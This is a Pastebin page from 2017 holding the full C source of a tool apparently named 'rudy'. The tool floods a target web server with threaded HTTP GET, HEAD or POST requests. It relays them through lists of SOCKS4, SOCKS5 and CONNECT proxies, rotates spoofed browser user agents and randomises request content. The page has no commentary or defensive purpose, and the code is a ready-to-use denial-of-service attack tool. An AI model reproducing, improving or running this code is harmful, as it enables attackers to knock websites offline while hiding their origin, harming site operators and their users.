Advertisement
xttpx

rudy

Jul 10th, 2017
10,768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 19.88 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <ctype.h>
  14.  
  15. #define RND_CHAR (char)((rand() % 26)+97)
  16.  
  17. char *useragents[] = {
  18.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  19.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0",
  20.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
  21.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  22.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  23.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  24.     "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  27.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  28.     "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
  29.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )",
  30.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12",
  31.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  32.     "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  33.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)",
  34.     "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  35.     "Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  rekonq",
  36.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4",
  37.     "X-Smiles/1.2-20081113",
  38.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991",
  39.     "Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0",
  40.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  41.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3",
  42.     "LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)",
  43.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3",
  44.     "xine/1.1.16.3",
  45.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  46.     "Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ",
  47.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  48.     "MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3",
  49.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  50.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  51.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  52.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  53.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  54.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  55.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  56.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  57.     "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  58.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  59.     "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  60.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  61.     "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  63.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  64.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  65.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. };
  67. #define ATTACKPORT 80
  68. char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
  69. char *postpayload;
  70. struct urlparts {
  71.     char * name;
  72.     char separator[4];
  73.     char value[128];
  74. } parts[] = {
  75.     { "scheme", ":" },
  76.     { "userid", "@" },
  77.     { "password", ":" },
  78.     { "host", "//" },
  79.     { "port", ":" },
  80.     { "path", "/" },
  81.     { "param", ";" },
  82.     /*{ "query", "?" },*/
  83.     { "fragment", "#" }
  84. };
  85. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  86. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  87. struct urlparts *returnparts[8];
  88. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  89. struct proxy { char *type; char *ip; int port; int working; };
  90. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  91. struct list *head = NULL;
  92. char parseError[128];
  93. int parseURL(char *url, struct urlparts **returnpart);
  94. char * strsplit(char * s, char * tok);
  95. char firstpunc(char *s);
  96. int strleft(char * s, int n);
  97. void setupparts();
  98. void freeparts();
  99. char *stristr(const char *String, const char *Pattern);
  100. char *str_replace(char *orig, char *rep, char *with);
  101. char *geturl(char *url, char *useragent, char *ip);
  102. char *ipstr;
  103. static int rps = 0;
  104.  
  105. void *flood(void *par) {
  106.     struct list *startpoint = (struct list *)par;
  107.     int i;
  108.     struct sockaddr_in serverAddr;
  109.     signal(SIGPIPE, SIG_IGN);
  110.     while(1)
  111.     {
  112.         int sent = 0;
  113.         if(startpoint->data->working == 0)
  114.         {
  115.             startpoint = startpoint->next;
  116.             sleep(1);
  117.             continue;
  118.         }
  119.        
  120.         memset(&serverAddr, 0, sizeof(serverAddr));
  121.         serverAddr.sin_family = AF_INET;
  122.         serverAddr.sin_port = htons(startpoint->data->port);
  123.         serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  124.         int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  125.         u_int yes=1;
  126.         if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  127.         if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  128.         {
  129.             startpoint->data->working = 0;
  130.             startpoint = startpoint->next;
  131.             continue;
  132.         }
  133.         if(strcmp(startpoint->data->type, "Socks4")==0)
  134.         {
  135.             unsigned char buf[10];
  136.             buf[0] = 0x04;
  137.             buf[1] = 0x01;
  138.             *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  139.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  140.             buf[8] = 0x00;
  141.             if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  142.             {
  143.                 startpoint->data->working = 0;
  144.                 startpoint = startpoint->next;
  145.                 close(serverSocket);
  146.                 continue;
  147.             }
  148.         }
  149.         if(strcmp(startpoint->data->type, "Socks5")==0)
  150.         {
  151.             unsigned char buf[20];
  152.             buf[0] = 0x05;
  153.             buf[1] = 0x01;
  154.             buf[2] = 0x00;
  155.             if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  156.             {
  157.                 startpoint->data->working = 0;
  158.                 startpoint = startpoint->next;
  159.                 close(serverSocket);
  160.                 continue;
  161.             }
  162.             buf[0] = 0x05;
  163.             buf[1] = 0x01;
  164.             buf[2] = 0x00;
  165.             buf[3] = 0x01;
  166.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  167.             *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  168.             if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  169.             {
  170.                 startpoint->data->working = 0;
  171.                 startpoint = startpoint->next;
  172.                 close(serverSocket);
  173.                 continue;
  174.             }
  175.         }
  176.         if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  177.         {
  178.             char *connectrequest = malloc(1024);
  179.             bzero(connectrequest, 1024);
  180.             sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
  181.             if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  182.             {
  183.                 startpoint->data->working = 0;
  184.                 startpoint = startpoint->next;
  185.                 close(serverSocket);
  186.                 continue;
  187.             }
  188.             char *recvbuf = malloc(1024);
  189.             bzero(recvbuf, 1024);
  190.             int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  191.             if(gotbytes < 1)
  192.             {
  193.                 startpoint->data->working = 0;
  194.                 startpoint = startpoint->next;
  195.                 close(serverSocket);
  196.                 continue;
  197.             }
  198.             free(recvbuf);
  199.         }
  200.         char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  201.         if(httppayload == NULL)
  202.         {
  203.             startpoint = startpoint->next;
  204.             close(serverSocket);
  205.             continue;
  206.         }
  207.         char *tmp = NULL;
  208.         while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
  209.         {
  210.             *(tmp) = RND_CHAR;
  211.             *(tmp+1) = RND_CHAR;
  212.             *(tmp+2) = RND_CHAR;
  213.             *(tmp+3) = RND_CHAR;
  214.             *(tmp+4) = RND_CHAR;
  215.             *(tmp+5) = RND_CHAR;
  216.             *(tmp+6) = RND_CHAR;
  217.             *(tmp+7) = RND_CHAR;
  218.         }
  219.         send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  220.         free(httppayload);
  221.         close(serverSocket);
  222.         rps++;
  223.         usleep(50000);
  224.         //startpoint = startpoint->next;
  225.     }
  226. }
  227.  
  228. int main(int argc, char *argv[ ]) {
  229.     if(argc < 6){
  230.         fprintf(stderr, "Invalid parameters!\n");
  231.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  232.         exit(-1);
  233.     }
  234.     //fprintf(stdout, "Setting up Sockets...\n");
  235.     int num_threads = atoi(argv[3]);
  236.     char *method = argv[2];
  237.     if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
  238.     {
  239.         fprintf(stderr, "Invalid parameters!\n");
  240.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  241.         exit(-1);
  242.     }
  243.     FILE *pFile = fopen(argv[4], "rb");
  244.     if(pFile==NULL)
  245.     {
  246.         perror("fopen"); exit(1);
  247.     }
  248.     fseek(pFile, 0, SEEK_END);
  249.     long lSize = ftell(pFile);
  250.     rewind(pFile);
  251.     char *buffer = (char *)malloc(lSize*sizeof(char));
  252.     fread(buffer, 1, lSize, pFile);
  253.     fclose (pFile);
  254.     int i=0;
  255.     char *pch = (char *)strtok(buffer, ":");
  256.     while(pch != NULL)
  257.     {
  258.         if(head == NULL)
  259.         {
  260.             head = (struct list *)malloc(sizeof(struct list));
  261.             bzero(head, sizeof(struct list));
  262.             head->data = (struct proxy *)malloc(sizeof(struct proxy));
  263.             bzero(head->data, sizeof(struct proxy));
  264.             head->data->working = 1;
  265.             head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  266.             pch = (char *)strtok(NULL, ":");
  267.             if(pch == NULL) exit(-1);
  268.             head->data->port = atoi(pch);
  269.             pch = (char *)strtok(NULL, ":");
  270.             head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  271.             pch = (char *)strtok(NULL, ":");
  272.             head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  273.             head->next = head;
  274.             head->prev = head;
  275.         } else {
  276.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  277.             bzero(new_node, sizeof(struct list));
  278.             new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  279.             bzero(new_node->data, sizeof(struct proxy));
  280.             new_node->data->working = 1;
  281.             new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  282.             pch = (char *)strtok(NULL, ":");
  283.             if(pch == NULL) break;
  284.             new_node->data->port = atoi(pch);
  285.             pch = (char *)strtok(NULL, ":");
  286.             new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  287.             pch = (char *)strtok(NULL, ":");
  288.             new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  289.             new_node->prev = head;
  290.             new_node->next = head->next;
  291.             head->next = new_node;
  292.         }
  293.     }
  294.     free(buffer);
  295.     const rlim_t kOpenFD = 1024 + (num_threads * 2);
  296.     struct rlimit rl;
  297.     int result;
  298.     rl.rlim_cur = kOpenFD;
  299.     rl.rlim_max = kOpenFD;
  300.     result = setrlimit(RLIMIT_NOFILE, &rl);
  301.     if (result != 0)
  302.     {
  303.         perror("setrlimit");
  304.         fprintf(stderr, "setrlimit returned result = %d\n", result);
  305.     }
  306.     bzero(&rl, sizeof(struct rlimit));
  307.     rl.rlim_cur = 256 * 1024;
  308.     rl.rlim_max = 4096 * 1024;
  309.     result = setrlimit(RLIMIT_STACK, &rl);
  310.     if (result != 0)
  311.     {
  312.         perror("setrlimit_stack");
  313.         fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
  314.     }
  315.     setupparts();
  316.     parseURL(argv[1], returnparts);
  317.     if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  318.     {
  319.         ipstr = malloc(strlen(argv[6])+1);
  320.         bzero(ipstr, strlen(argv[6])+1);
  321.         strcpy(ipstr, argv[6]);
  322.         //fprintf(stdout, "Using manual IP...\n");
  323.     } else {
  324.         struct hostent *he;
  325.         struct in_addr a;
  326.         he = gethostbyname(returnparts[host]->value);
  327.         if (he)
  328.         {
  329.             while (*he->h_addr_list)
  330.             {
  331.                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  332.                 ipstr = malloc(INET_ADDRSTRLEN+1);
  333.                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  334.                 break;
  335.             }
  336.         }
  337.         else
  338.         { herror("gethostbyname"); }
  339.     }
  340.     char *postdata = malloc(1);
  341.     bzero(postdata, 1);
  342.     char *extrahead = malloc(1);
  343.     bzero(extrahead, 1);
  344.     if(argc > 7)
  345.     {
  346.         //fprintf(stdout, "Using post parameters\n");
  347.         postdata = argv[7];
  348.         extrahead = malloc(4096);
  349.         bzero(extrahead, 4096);
  350.         sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
  351.     }
  352.     pthread_t thread[num_threads];
  353.     postpayload = malloc(4096);
  354.     sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
  355.     freeparts();
  356.    
  357.     //fprintf(stdout, "Starting Flood...\n");
  358.    
  359.     for(i = 0;i<num_threads;i++){
  360.         pthread_create(&thread[i], NULL, &flood, (void *)head);
  361.         pthread_detach(thread[i]);
  362.         head = head->next;
  363.         head = head->next;
  364.                 head = head->next;
  365.                 head = head->next;
  366.         head = head->next;
  367.     }
  368.    
  369.     int temp = atoi(argv[5]);
  370.    
  371.     for(i = 0;i<temp;i++)
  372.     {
  373.         sleep(1);
  374.         //printf("R/s: %d\n", rps);
  375.         //rps = 0;
  376.     }
  377.     return 0;
  378. }
  379. void freeparts()
  380. {
  381.     return;
  382.     if(returnparts[0]!=NULL) { free(returnparts[0]); }
  383.     if(returnparts[1]!=NULL) { free(returnparts[1]); }
  384.     if(returnparts[2]!=NULL) { free(returnparts[2]); }
  385.     if(returnparts[3]!=NULL) { free(returnparts[3]); }
  386.     if(returnparts[4]!=NULL) { free(returnparts[4]); }
  387.     if(returnparts[5]!=NULL) { free(returnparts[5]); }
  388.     if(returnparts[6]!=NULL) { free(returnparts[6]); }
  389.     if(returnparts[7]!=NULL) { free(returnparts[7]); }
  390.     /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
  391.     return;
  392. }
  393. void setupparts()
  394. {
  395.     returnparts[0] = malloc(sizeof(struct urlparts));
  396.     returnparts[1] = malloc(sizeof(struct urlparts));
  397.     returnparts[2] = malloc(sizeof(struct urlparts));
  398.     returnparts[3] = malloc(sizeof(struct urlparts));
  399.     returnparts[4] = malloc(sizeof(struct urlparts));
  400.     returnparts[5] = malloc(sizeof(struct urlparts));
  401.     returnparts[6] = malloc(sizeof(struct urlparts));
  402.     returnparts[7] = malloc(sizeof(struct urlparts));
  403.     /*returnparts[8] = malloc(sizeof(struct urlparts));*/
  404.     bzero(returnparts[0], sizeof(struct urlparts));
  405.     bzero(returnparts[1], sizeof(struct urlparts));
  406.     bzero(returnparts[2], sizeof(struct urlparts));
  407.     bzero(returnparts[3], sizeof(struct urlparts));
  408.     bzero(returnparts[4], sizeof(struct urlparts));
  409.     bzero(returnparts[5], sizeof(struct urlparts));
  410.     bzero(returnparts[6], sizeof(struct urlparts));
  411.     bzero(returnparts[7], sizeof(struct urlparts));
  412.     /*bzero(returnparts[8], sizeof(struct urlparts));*/
  413.     returnparts[0]->name = "scheme";
  414.     strcpy(returnparts[0]->separator, ":");
  415.     returnparts[1]->name = "userid";
  416.     strcpy(returnparts[1]->separator, "@");
  417.     returnparts[2]->name = "password";
  418.     strcpy(returnparts[2]->separator, ":");
  419.     returnparts[3]->name = "host";
  420.     strcpy(returnparts[3]->separator, "//");
  421.     returnparts[4]->name = "port";
  422.     strcpy(returnparts[4]->separator, ":");
  423.     returnparts[5]->name = "path";
  424.     strcpy(returnparts[5]->separator, "/");
  425.     returnparts[6]->name = "param";
  426.     strcpy(returnparts[6]->separator, ";");
  427.     /*returnparts[7]->name = "query";
  428.     strcpy(returnparts[7]->separator, "?");*/
  429.     returnparts[7]->name = "fragment";
  430.     strcpy(returnparts[7]->separator, "#");
  431.     return;
  432. }
  433. int parseURL(char *url, struct urlparts **returnpart) {
  434.     register i;
  435.     int seplen;
  436.     char * remainder;
  437.     //char * regall = ":/;?#";
  438.     char * regall = ":/;#";
  439.     //char * regpath = ":;?#";
  440.     char * regpath = ":;#";
  441.     char * regx;
  442.     if(!*url)
  443.     {
  444.         strcpy(parseError, "nothing to do!\n");
  445.         return 0;
  446.     }
  447.     if((remainder = malloc(strlen(url) + 1)) == NULL)
  448.     {
  449.         printf("cannot allocate memory\n");
  450.         exit(-1);
  451.     }
  452.     strcpy(remainder, url);
  453.     if(firstpunc(remainder) == ':')
  454.     {
  455.         strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  456.         strleft(remainder, 1);
  457.     }
  458.     if (!strcmp(returnpart[scheme]->value, "mailto"))
  459.     *(returnpart[host]->separator) = 0;
  460.     for(i = 0; i < NUMPARTS; i++)
  461.     {
  462.         if(!*remainder)
  463.         break;
  464.         if(i == scheme || i == userid || i == password)
  465.         continue;
  466.         if(i == host && strchr(remainder, '@'))
  467.         {
  468.             if(!strncmp(remainder, "//", 2))
  469.             strleft(remainder, 2);
  470.             strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  471.             strleft(remainder, 1);
  472.             if(strchr(remainder, '@'))
  473.             {
  474.                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  475.                 strleft(remainder, 1);
  476.             }
  477.             *(returnpart[host]->separator) = 0;
  478.         }
  479.         if(i == path && (! *(returnpart[scheme]->value)))
  480.         {
  481.             *(returnpart[path]->separator) = 0;
  482.             strcpy(returnpart[scheme]->value, "http");
  483.         }
  484.         regx = (i == path) ? regpath : regall ;
  485.         seplen = strlen(returnpart[i]->separator);
  486.         if(strncmp(remainder, returnpart[i]->separator, seplen))
  487.         continue;
  488.         else
  489.         strleft(remainder, seplen);
  490.         strcpy(returnpart[i]->value, strsplit(remainder, regx));
  491.     }
  492.     if(*remainder)
  493.     sprintf(parseError, "I don't understand '%s'", remainder);
  494.     free(remainder);
  495.     return 0;
  496. }
  497. char *str_replace(char *orig, char *rep, char *with) {
  498.     char *result;
  499.     char *ins;    
  500.     char *tmp;    
  501.     int len_rep;  
  502.     int len_with;
  503.     int len_front;
  504.     int count;    
  505.     if (!orig)
  506.     return NULL;
  507.     if (!rep || !(len_rep = strlen(rep)))
  508.     return NULL;
  509.     if (!(ins = strstr(orig, rep)))
  510.     return NULL;
  511.     if (!with)
  512.     with = "";
  513.     len_with = strlen(with);
  514.     for (count = 0; tmp = strstr(ins, rep); ++count) {
  515.         ins = tmp + len_rep;
  516.     }
  517.     tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  518.     if (!result)
  519.     return NULL;
  520.     while (count--) {
  521.         ins = strstr(orig, rep);
  522.         len_front = ins - orig;
  523.         tmp = strncpy(tmp, orig, len_front) + len_front;
  524.         tmp = strcpy(tmp, with) + len_with;
  525.         orig += len_front + len_rep;
  526.     }
  527.     strcpy(tmp, orig);
  528.     return result;
  529. }
  530. char *stristr(const char *String, const char *Pattern)
  531. {
  532.     char *pptr, *sptr, *start;
  533.     uint slen, plen;
  534.     for (start = (char *)String,
  535.     pptr = (char *)Pattern,
  536.     slen = strlen(String),
  537.     plen = strlen(Pattern);
  538.     slen >= plen;
  539.     start++, slen--)
  540.     {
  541.        
  542.         while (toupper(*start) != toupper(*Pattern))
  543.         {
  544.             start++;
  545.             slen--;
  546.            
  547.             if (slen < plen)
  548.             return(NULL);
  549.         }
  550.         sptr = start;
  551.         pptr = (char *)Pattern;
  552.         while (toupper(*sptr) == toupper(*pptr))
  553.         {
  554.             sptr++;
  555.             pptr++;
  556.            
  557.             if ('\0' == *pptr)
  558.             return (start);
  559.         }
  560.     }
  561.     return(NULL);
  562. }
  563. char * strsplit(char * s, char * tok) {
  564. #define OUTLEN (255)
  565.     register i, j;
  566.     static char out[OUTLEN + 1];
  567.     for(i = 0; s[i] && i < OUTLEN; i++)
  568.     {
  569.         if(strchr(tok, s[i]))
  570.         break;
  571.         else
  572.         out[i] = s[i];
  573.     }
  574.     out[i] = 0;
  575.     if(i && s[i])
  576.     {
  577.         for(j = 0; s[i]; i++, j++) s[j] = s[i];
  578.         s[j] = 0;
  579.     }
  580.     else if (!s[i])
  581.     *s = 0;
  582.     return out;
  583. }
  584. char firstpunc(char * s) {
  585.     while(*s++)
  586.     if(!isalnum(*s)) return *s;
  587.     return 0;
  588. }
  589. int strleft(char * s, int n) {
  590.     int l;
  591.     l = strlen(s);
  592.     if(l < n)
  593.     return -1;
  594.     else if (l == n)
  595.     *s = 0;
  596.     memmove(s, s + n, l - n + 1);
  597.     return n;
  598. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement